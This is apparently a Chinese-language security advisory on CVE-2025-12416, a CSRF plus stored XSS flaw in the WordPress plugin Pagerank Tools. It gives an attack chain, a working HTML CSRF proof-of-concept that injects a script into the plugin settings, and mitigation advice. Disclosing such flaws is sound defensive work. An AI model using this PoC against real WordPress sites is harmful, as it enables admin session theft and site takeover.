IPBUF安全漏洞报告
English
CVE-2025-12416 CVSS 6.1 中危

CVE-2025-12416 WordPress Pagerank Tools插件存储型XSS漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-12416
漏洞类型
存储型XSS + CSRF
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Pagerank Tools (WordPress插件)

相关标签

存储型XSSCSRFWordPress插件漏洞Pagerank ToolsCVE-2025-12416跨站脚本攻击认证绕过CVE-2025

漏洞概述

Pagerank Tools是WordPress平台上广泛使用的一款用于显示网站PageRank的工具插件。该插件在1.1.5及之前版本中存在严重的安全漏洞,攻击者可以利用跨站请求伪造(CSRF)结合存储型跨站脚本(XSS)攻击来入侵使用该插件的WordPress网站。漏洞的根本原因在于pr_save_settings()函数缺少必要的nonce令牌验证机制,同时对用户输入的数据缺乏充分的输入清理和输出转义。攻击者只需要构造一个恶意链接或网页,诱骗网站管理员点击,即可通过伪造的请求在插件设置页面中注入任意JavaScript代码。由于注入的恶意脚本会永久存储在数据库中,当任何用户访问插件设置页面时都会触发执行,可能导致会话劫持、敏感信息窃取、管理员账号被盗等严重后果。考虑到WordPress在全球网站中的高市场份额,该漏洞影响范围广泛,需尽快采取修复措施。

技术细节

该漏洞属于存储型XSS与CSRF的组合利用。漏洞点位于Pagerank Tools插件的settings功能模块,具体为functions.inc.php文件中的pr_save_settings()函数。该函数在处理用户提交的设置参数时,直接将请求参数保存到WordPress数据库的wp_options表中,完全跳过了WordPress的安全验证机制:首先,缺少wp_verify_nonce()进行请求来源验证,使得攻击者可以在任意站点构造恶意表单并诱导已登录的管理员提交;其次,缺少sanitize_text_field()等WordPress安全函数的输入清理,导致攻击者可以在设置值中嵌入<script>标签或其他HTML/JS代码。攻击成功后,恶意代码将以插件设置的形式永久存储在数据库中,每当管理员或具有相关权限的用户访问插件设置页面时,浏览器会解析并执行这些恶意脚本。由于管理员具有高权限,攻击者可进一步利用JavaScript实现管理员账户创建、数据库内容读取、恶意插件上传等高危操作。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本及Pagerank Tools插件版本,确认版本≤1.1.5
STEP 2
步骤2: 构造CSRF攻击页面
攻击者创建恶意HTML页面,包含自动提交的表单,表单指向目标站点的admin-post.php,action参数设置为pr_save_settings,并嵌入XSS payload
STEP 3
步骤3: 社会工程学攻击
攻击者通过钓鱼邮件、社交媒体或即时通讯工具向网站管理员发送恶意链接,诱骗其点击访问构造好的攻击页面
STEP 4
步骤4: CSRF请求触发
管理员访问恶意页面后,浏览器自动向目标WordPress站点发送POST请求,由于管理员已登录,请求携带有效会话cookie
STEP 5
步骤5: 漏洞函数执行
目标站点的pr_save_settings()函数接收请求,因缺少nonce验证而直接执行,将攻击者构造的恶意脚本内容保存到数据库的wp_options表中
STEP 6
步骤6: XSS触发
当管理员或任何用户访问Pagerank Tools插件的设置页面时,存储的恶意JavaScript代码被浏览器解析执行
STEP 7
步骤7: 后续攻击利用
攻击者通过已执行的JavaScript可窃取管理员会话cookie、创建后门账户、修改网站内容或进一步渗透服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-12416: Stored XSS in Pagerank Tools WordPress Plugin --> <!-- Save this as poc.html and trick admin into opening it --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-12416</title> </head> <body> <h2>CSRF PoC for CVE-2025-12416</h2> <p>Click the button below to trigger the vulnerability:</p> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="exploitForm"> <!-- WordPress requires these fields --> <input type="hidden" name="action" value="pr_save_settings"> <!-- XSS payload injected via setting parameter --> <input type="hidden" name="pr_google_pagerank" value='"><script>alert(String.fromCharCode(88,83,83,32,80,111,67,32,69,120,101,99,117,116,101,100))</script><x y="'>'> <input type="hidden" name="pr_submit" value="Save Changes"> </form> <button onclick="document.getElementById('exploitForm').submit()">Click me</button> <script> // Auto-submit for demonstration // document.getElementById('exploitForm').submit(); console.log('PoC loaded. Click the button to exploit.'); </script> </body> </html> <!-- Attack Scenario: 1. Attacker creates malicious page with forged request 2. Lures authenticated WordPress admin to visit page 3. Admin clicks button or page auto-submits form 4. XSS payload saved to plugin settings via pr_save_settings() 5. When admin visits plugin settings page, XSS executes 6. Attacker can steal session cookies, perform actions as admin -->

影响范围

Pagerank Tools WordPress插件 <= 1.1.5

防御指南

临时缓解措施
由于该漏洞利用需要管理员交互,短期内可采取以下缓解措施:1) 加强对管理员的安全培训,提高对钓鱼攻击的警惕性,不随意点击未知链接;2) 在WordPress中启用双因素认证(2FA),即使会话被劫持也能提供额外保护;3) 使用Web应用防火墙(WAF)规则检测和阻止CSRF请求;4) 考虑临时禁用Pagerank Tools插件,使用服务器端脚本实现PageRank查询功能;5) 实施严格的Content Security Policy(CSP)头部,限制脚本执行来源;6) 监控wp_options表中pr_相关选项的变化记录,及时发现异常修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表